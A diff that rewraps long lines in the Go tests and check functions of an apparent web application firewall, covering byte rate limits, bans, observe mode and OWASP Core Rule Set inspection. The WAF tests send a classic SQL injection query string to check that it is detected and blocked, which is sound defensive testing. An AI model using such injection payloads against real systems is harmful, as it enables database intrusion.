-		t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
+		t.Errorf(
-			"want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
+			"got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
-			answerBytes, minuteBytes, expires)
+				"want %d, %s and %s",
+			len(got.body),
+			line.LimitHit,
+			line.BanExpires,
+			answerBytes,
+			minuteBytes,
+			expires,
+		)
 	}
 
 	s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -164,19 +208,33 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
 		t.Run(tc.setting, func(t *testing.T) {
 			t.Parallel()
 
-			s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
+			s, _, _, _ := startAppWithAlerts(
-				bytesLimitPerMinute: "29", bytesCount: tc.setting,
+				t,
-			})
+				answerAfterUpgrade,
+				map[string]string{
+					bytesLimitPerMinute: "29", bytesCount: tc.setting,
+				},
+			)
 
 			// The client sends 30 bytes and the app 70, each over the limit
 			// of 29, which bans the client once the WebSocket has closed.
 			line := s.webSocket()
-			if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
+			if line.LimitHit != minuteBytes ||
-				t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
+				line.Counts.MinuteBytes != tc.counted {
-					line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
+				t.Errorf(
+					"log line has limit_hit %q and minute_bytes %v, want %s and %v",
+					line.LimitHit,
+					line.Counts.MinuteBytes,
+					minuteBytes,
+					tc.counted,
+				)
 			}
 
-			s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+			s.get(
+				client,
+				http.StatusForbidden,
+				requestlog.ActionTemporarilyBanned,
+			)
 		})
 	}
 }
@@ -211,14 +269,25 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
 				}
 
 				counted := float64(i) * tc.each
-				if line.LimitHit != want || line.Counts.MinuteBytes != counted {
+				if line.LimitHit != want ||
-					t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
+					line.Counts.MinuteBytes != counted {
-						"want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
+					t.Errorf(
-						want, counted)
+						"request %d: log line has limit_hit %q and minute_bytes %v, "+
+							"want %q and %v",
+						i,
+						line.LimitHit,
+						line.Counts.MinuteBytes,
+						want,
+						counted,
+					)
 				}
 			}
 
-			s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+			s.get(
+				client,
+				http.StatusForbidden,
+				requestlog.ActionTemporarilyBanned,
+			)
 		})
 	}
 }
@@ -243,11 +312,24 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
 		{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
 	} {
 		for range 2 {
-			line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
+			line, _ := s.requestWithBody(
-				uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
+				http.MethodPost,
-			if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
+				sent.from,
-				t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
+				sent.path,
-					sent.from, sent.path, line.fields["counts"], line.LimitHit)
+				uploadHeader,
+				uploadBody,
+				http.StatusOK,
+				requestlog.ActionForward,
+			)
+			if _, counted := line.fields["counts"]; counted ||
+				line.LimitHit != "" {
+				t.Errorf(
+					"%s %s: log line has counts %v and limit_hit %q, want neither",
+					sent.from,
+					sent.path,
+					line.fields["counts"],
+					line.LimitHit,
+				)
 			}
 		}
 	}
@@ -255,7 +337,11 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
 	// A path that is not exempt is counted, and breaks the limit.
 	line := s.upload()
 	if line.LimitHit != minuteBytes {
-		t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
+		t.Errorf(
+			"log line has limit_hit %q, want %s",
+			line.LimitHit,
+			minuteBytes,
+		)
 	}
 }
 
@@ -272,9 +358,14 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
 		counted := float64(i * (bodyBytes + answerBytes))
 		if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
 			line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
-			t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
+			t.Errorf(
-				"want none and %v bytes in each window", i, line.LimitHit,
+				"request %d: log line has limit_hit %q and counts %+v, "+
-				line.Counts, counted)
+					"want none and %v bytes in each window",
+				i,
+				line.LimitHit,
+				line.Counts,
+				counted,
+			)
 		}
 	}
 }
@@ -282,13 +373,24 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
 func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
 	t.Parallel()
 
-	s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+	s, clk, server, queue := startAppWithAlerts(
-		bytesLimitPerMinute: byteLimit,
+		t,
-	})
+		readAndAnswer,
+		map[string]string{
+			bytesLimitPerMinute: byteLimit,
+		},
+	)
 	start := clk.Now()
 
-	s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
+	s.requestWithBody(
-		uploadBody, http.StatusOK, requestlog.ActionForward)
+		http.MethodPost,
+		client,
+		"/upload?part=1",
+		uploadHeader,
+		uploadBody,
+		http.StatusOK,
+		requestlog.ActionForward,
+	)
 
 	netblock := netip.MustParsePrefix(client + "/32")
 	want := bans.Ban{
@@ -331,10 +433,14 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
 func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
 	t.Parallel()
 
-	s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+	s, clk, server, queue := startAppWithAlerts(
-		mode:                observe,
+		t,
-		bytesLimitPerMinute: byteLimit,
+		readAndAnswer,
-	})
+		map[string]string{
+			mode:                observe,
+			bytesLimitPerMinute: byteLimit,
+		},
+	)
 	start := clk.Now()
 
 	// No ban sets the client's counters back to zero, so each request
@@ -344,11 +450,17 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
 		line := s.upload()
 		wantWouldAction(t, line, "")
 
-		if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
+		if line.LimitHit != minuteBytes ||
+			line.Offence != requestlog.OffenceLimit ||
 			line.BanExpires != "" {
-			t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+			t.Errorf(
-				"want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
+				"log line has limit_hit %q, offence %q and ban_expires %q, "+
-				minuteBytes)
+					"want %s, limit and none",
+				line.LimitHit,
+				line.Offence,
+				line.BanExpires,
+				minuteBytes,
+			)
 		}
 	}
 
@@ -363,14 +475,18 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
 
 	notes, _ := waiting[0].Detail["notes"].(bans.Notes)
 	alert := banAlert(alerts.EventBan, start, client, bans.Ban{
-		Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+		Netblock: netip.MustParsePrefix(
+			client + "/32",
+		), Cause: bans.CauseLimit,
 		Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
 	}, requestlog.FormatTime(start.Add(time.Hour)))
 	alert.Detail["mode"] = observe
 	wantAlerts(t, queue, alert)
 }
 
-func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
+func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	s, _ := startWithAnswers(t, map[string]string{
@@ -388,9 +504,14 @@ func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T)
 	line := s.upload()
 	wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
 
-	if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
+	if line.LimitHit != minute ||
-		t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
+		line.Counts.MinuteBytes != bodyBytes+answerBytes {
-			line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
+		t.Errorf(
+			"log line has limit_hit %q and minute_bytes %v, want minute and %d",
+			line.LimitHit,
+			line.Counts.MinuteBytes,
+			bodyBytes+answerBytes,
+		)
 	}
 }
 
@@ -440,7 +561,9 @@ func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
 			return
 		}
 
-		_, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
+		_, _ = buffered.WriteString(
+			strings.Repeat("a", answerBytes-1) + "\n",
+		)
 		_ = buffered.Flush()
 	}
 }
@@ -470,8 +593,12 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
 	s.t.Helper()
 
 	conn := dial(s.t, s.addr)
-	send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
+	send(
-		": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
+		s.t,
+		conn,
+		"GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
+			": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n",
+	)
 
 	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
 	if err != nil {
@@ -488,7 +615,11 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
 	_ = res.Body.Close()
 
 	if res.StatusCode != http.StatusSwitchingProtocols {
-		s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
+		s.t.Fatalf(
+			"status %d, want %d",
+			res.StatusCode,
+			http.StatusSwitchingProtocols,
+		)
 	}
 
 	return conn, reader
@@ -503,14 +634,22 @@ func (s *sender) closeWebSocket(conn net.Conn) logLine {
 
 	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
 	s.sent++
-	wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
+	wantLine(
+		s.t,
+		line,
+		http.StatusSwitchingProtocols,
+		requestlog.ActionForward,
+	)
 
 	return line
 }
 
 // startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
 // test that looks at neither the server nor the alerts.
-func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
+func startWithAnswers(
+	t *testing.T,
+	env map[string]string,
+) (*sender, *clock) {
 	t.Helper()
 
 	s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
@@ -524,8 +663,15 @@ func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
 func (s *sender) download() (logLine, answer) {
 	s.t.Helper()
 
-	return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
+	return s.requestWithBody(
-		requestlog.ActionForward)
+		http.MethodGet,
+		client,
+		"/",
+		"",
+		"",
+		http.StatusOK,
+		requestlog.ActionForward,
+	)
 }
 
 // upload is download for a POST request with a body of bodyBytes, and

internal/waf/coreruleset.go

@@ -25,9 +25,14 @@ type coreRuleSet struct{}
 
 func (coreRuleSet) name() string { return "core_rule_set" }
 
-func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
+func (coreRuleSet) check(
+	_ context.Context,
+	rq *request,
+	_ time.Time,
+) *verdict {
 	cfg := rq.h.config
-	if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
+	if cfg.WAFMode == config.WAFModeOff ||
+		pathExempt(rq.in, cfg.WAFExemptPaths) {
 		return nil
 	}
 
@@ -38,7 +43,9 @@ func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
 	result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
 	rq.requestBytes = int64(len(read))
 
-	rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
+	rq.line.DurationCoreRuleSetMS = new(
+		requestlog.Milliseconds(time.Since(start)),
+	)
 	rq.line.CoreRuleSetRuleIDs = result.RuleIDs
 	rq.line.CoreRuleSetScore = &result.Score
 
@@ -61,8 +68,11 @@ func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
 	rq.blockedByCoreRuleSet = true
 
 	return &verdict{
-		action:  requestlog.ActionBlockedByCoreRuleSet,
+		action: requestlog.ActionBlockedByCoreRuleSet,
-		figures: map[string]any{figureScore: result.Score, "threshold": threshold},
+		figures: map[string]any{
+			figureScore: result.Score,
+			"threshold": threshold,
+		},
 	}
 }
 

internal/waf/coreruleset_test.go

@@ -44,7 +44,12 @@ const sqlInjection = "/?id=1'%20OR%20'1'='1"
 // core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
 // score, that it has none of the three: the Core Rule Set did not inspect the
 // request.
-func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
+func wantCoreRuleSet(
+	t *testing.T,
+	line logLine,
+	score *int,
+	ruleIDs ...int,
+) {
 	t.Helper()
 
 	if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
@@ -55,9 +60,12 @@ func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
 	switch {
 	case score == nil &&
 		(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
-		t.Errorf("log line has core_rule_set_score %v and "+
+		t.Errorf(
-			"duration_core_rule_set_ms %v, want neither",
+			"log line has core_rule_set_score %v and "+
-			line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
+				"duration_core_rule_set_ms %v, want neither",
+			line.fields["core_rule_set_score"],
+			line.fields["duration_core_rule_set_ms"],
+		)
 	case score != nil &&
 		(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
 		t.Errorf("log line has core_rule_set_score %v, want %d",
@@ -82,11 +90,21 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
+			s, _, _ := startWithClock(
+				t,
+				"",
+				map[string]string{wafMode: tc.mode},
+			)
 
-			wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
+			wantTags(
-				"exploitsignature")
+				t,
-			wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
+				s.request(client, sqlInjection, tc.status, tc.action),
+				"exploitsignature",
+			)
+			wantTags(
+				t,
+				s.get(client, http.StatusOK, requestlog.ActionForward),
+			)
 		})
 	}
 }
@@ -103,7 +121,9 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
 	wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
 }
 
-func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
+func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, attack := range []struct {
@@ -142,10 +162,19 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *test
 				{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
 				{detect, requestlog.ActionForward, http.StatusOK},
 			} {
-				s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
+				s, _, _ := startWithClock(
+					t,
+					"",
+					map[string]string{wafMode: tc.mode},
+				)
 
-				line := s.requestWithHeader(client, attack.path, attack.header,
+				line := s.requestWithHeader(
-					tc.status, tc.action)
+					client,
+					attack.path,
+					attack.header,
+					tc.status,
+					tc.action,
+				)
 				wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
 			}
 		})
@@ -167,8 +196,12 @@ func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
 
 	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
 
-	line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
+	line := s.request(
-		http.StatusOK, requestlog.ActionForward)
+		client,
+		"/owner/repo/src/branch/main/README.md?display=source",
+		http.StatusOK,
+		requestlog.ActionForward,
+	)
 	wantCoreRuleSet(t, line, new(0))
 }
 
@@ -188,26 +221,48 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
 
 	// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
 	// exempts, are not inspected.
-	line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	line := s.request(
+		allowed,
+		sqlInjection,
+		http.StatusOK,
+		requestlog.ActionForward,
+	)
 	wantCoreRuleSet(t, line, nil)
-	line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
+	line = s.request(
-		requestlog.ActionForward)
+		client,
+		"/api/v1/repos?id=1'%20OR%20'1'='1",
+		http.StatusOK,
+		requestlog.ActionForward,
+	)
 	wantCoreRuleSet(t, line, nil)
 
 	// The prefix is matched as rate limit exempt paths are: a path that
 	// goes up and out of it is inspected.
-	line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
+	line = s.request(
-		requestlog.ActionBlockedByCoreRuleSet)
+		client,
+		"/api/../?id=1'%20OR%20'1'='1",
+		http.StatusForbidden,
+		requestlog.ActionBlockedByCoreRuleSet,
+	)
 	wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
 
 	// A request a rule file refuses is not inspected.
-	line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
+	line = s.request(
-		requestlog.ActionBlockedByBlockRule)
+		otherClient,
+		"/blocked?id=1'%20OR%20'1'='1",
+		http.StatusForbidden,
+		requestlog.ActionBlockedByBlockRule,
+	)
 	wantCoreRuleSet(t, line, nil)
 
 	// With SWW_WAF_MODE off, no request is.
 	s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
-	line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	line = s.request(
+		client,
+		sqlInjection,
+		http.StatusOK,
+		requestlog.ActionForward,
+	)
 	wantCoreRuleSet(t, line, nil)
 }
 
@@ -221,7 +276,12 @@ func TestAnomalyThreshold(t *testing.T) {
 			wafMode: block, wafAnomalyThreshold: threshold,
 		})
 
-		line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+		line := s.request(
+			client,
+			sqlInjection,
+			http.StatusOK,
+			requestlog.ActionForward,
+		)
 		wantCoreRuleSet(t, line, new(5), 942100)
 	}
 
@@ -269,9 +329,20 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
 			}
 
 			// By default, the rules are switched off.
-			s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+			s, _, _ := startWithClock(
-			line, _ := s.requestWithBody(request.method, client, request.path,
+				t,
-				request.header, body, http.StatusOK, requestlog.ActionForward)
+				"",
+				map[string]string{wafMode: block},
+			)
+			line, _ := s.requestWithBody(
+				request.method,
+				client,
+				request.path,
+				request.header,
+				body,
+				http.StatusOK,
+				requestlog.ActionForward,
+			)
 			wantCoreRuleSet(t, line, new(0))
 
 			// A list given replaces the default.
@@ -279,12 +350,24 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
 				wafMode: block, wafDisabledRules: "942100",
 			})
 			score := 5 * len(request.ruleIDs)
-			line, _ = s.requestWithBody(request.method, client, request.path,
+			line, _ = s.requestWithBody(
-				request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
+				request.method,
+				client,
+				request.path,
+				request.header,
+				body,
+				http.StatusForbidden,
+				requestlog.ActionBlockedByCoreRuleSet,
+			)
 			wantCoreRuleSet(t, line, &score, request.ruleIDs...)
 
 			// And switches off the rules it lists.
-			line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+			line = s.request(
+				client,
+				sqlInjection,
+				http.StatusOK,
+				requestlog.ActionForward,
+			)
 			wantCoreRuleSet(t, line, new(0))
 		})
 	}
@@ -354,8 +437,13 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
 
 		got := do(t, req)
 		if got.status != http.StatusOK || string(got.body) != tc.body {
-			t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
+			t.Errorf(
-				tc.name, len(got.body), got.status, len(tc.body))
+				"%s: the app got %d bytes, answered %d, want the %d sent, 200",
+				tc.name,
+				len(got.body),
+				got.status,
+				len(tc.body),
+			)
 		}
 
 		line := out.endedLines(t, i+1)[i]
@@ -384,13 +472,19 @@ func TestResponsesAreNotInspected(t *testing.T) {
 
 	got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
 	if got.status != http.StatusOK || string(got.body) != page {
-		t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
+		t.Errorf(
+			"answered %d with %q, want 200 with the app's page",
+			got.status,
+			got.body,
+		)
 	}
 
 	wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
 }
 
-func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
+func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	s, _, server := startWithClock(t, "", map[string]string{
@@ -408,8 +502,11 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T)
 		requestlog.ActionBlockedByCoreRuleSet)
 	if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
 		line.Offence != requestlog.OffenceLimit {
-		t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
+		t.Errorf(
-			line.LimitHit, line.Offence)
+			"log line has limit_hit %q and offence %q, want minute_refusals and limit",
+			line.LimitHit,
+			line.Offence,
+		)
 	}
 
 	s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -420,15 +517,30 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T)
 	}
 
 	metrics := s.scrape()
-	wantMetric(t, metrics,
+	wantMetric(
-		`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
+		t,
-	wantMetric(t, metrics,
+		metrics,
-		`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
+		`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`,
-	wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
+		3,
-		`instance="app",status_class="4xx"}`, 3)
+	)
+	wantMetric(
+		t,
+		metrics,
+		`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`,
+		3,
+	)
+	wantMetric(
+		t,
+		metrics,
+		`sww_requests_total{action="blocked_by_core_rule_set",`+
+			`instance="app",status_class="4xx"}`,
+		3,
+	)
 }
 
-func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
+func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	s, _, server := startWithClock(t, "", map[string]string{
@@ -436,7 +548,12 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T
 	})
 
 	for range 3 {
-		s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+		s.request(
+			client,
+			sqlInjection,
+			http.StatusOK,
+			requestlog.ActionForward,
+		)
 	}
 
 	s.get(client, http.StatusOK, requestlog.ActionForward)
@@ -447,8 +564,12 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T
 	}
 
 	metrics := s.scrape()
-	wantMetric(t, metrics,
+	wantMetric(
-		`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
+		t,
+		metrics,
+		`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`,
+		3,
+	)
 	wantNoSeries(t, metrics,
 		`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
 }
@@ -456,9 +577,18 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T
 func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
 	t.Parallel()
 
-	s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
+	s, _, server := startWithClock(
+		t,
+		"",
+		map[string]string{wafMode: block, mode: observe},
+	)
 
-	line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	line := s.request(
+		client,
+		sqlInjection,
+		http.StatusOK,
+		requestlog.ActionForward,
+	)
 	wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
 	wantCoreRuleSet(t, line, new(5), 942100)
 
@@ -508,7 +638,9 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
 			s.get(client, http.StatusOK, requestlog.ActionForward)
 
 			detail := map[string]any{
-				"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
+				"rule_ids": []int{
+					942100,
+				}, "score": 5, "method": http.MethodGet,
 				"path": sqlInjection,
 			}
 			if tc.alertMode != "" {
@@ -527,7 +659,10 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
 			})
 
 			if queue.Suppressed() != 1 {
-				t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
+				t.Errorf(
+					"%d alerts held back, want the repeat",
+					queue.Suppressed(),
+				)
 			}
 		})
 	}

internal/waf/countries.go

@@ -18,7 +18,11 @@ type countries struct{}
 
 func (countries) name() string { return "countries" }
 
-func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
+func (countries) check(
+	_ context.Context,
+	rq *request,
+	_ time.Time,
+) *verdict {
 	allowed := rq.h.config.ExclusivelyAllowedCountries
 	country := rq.line.Country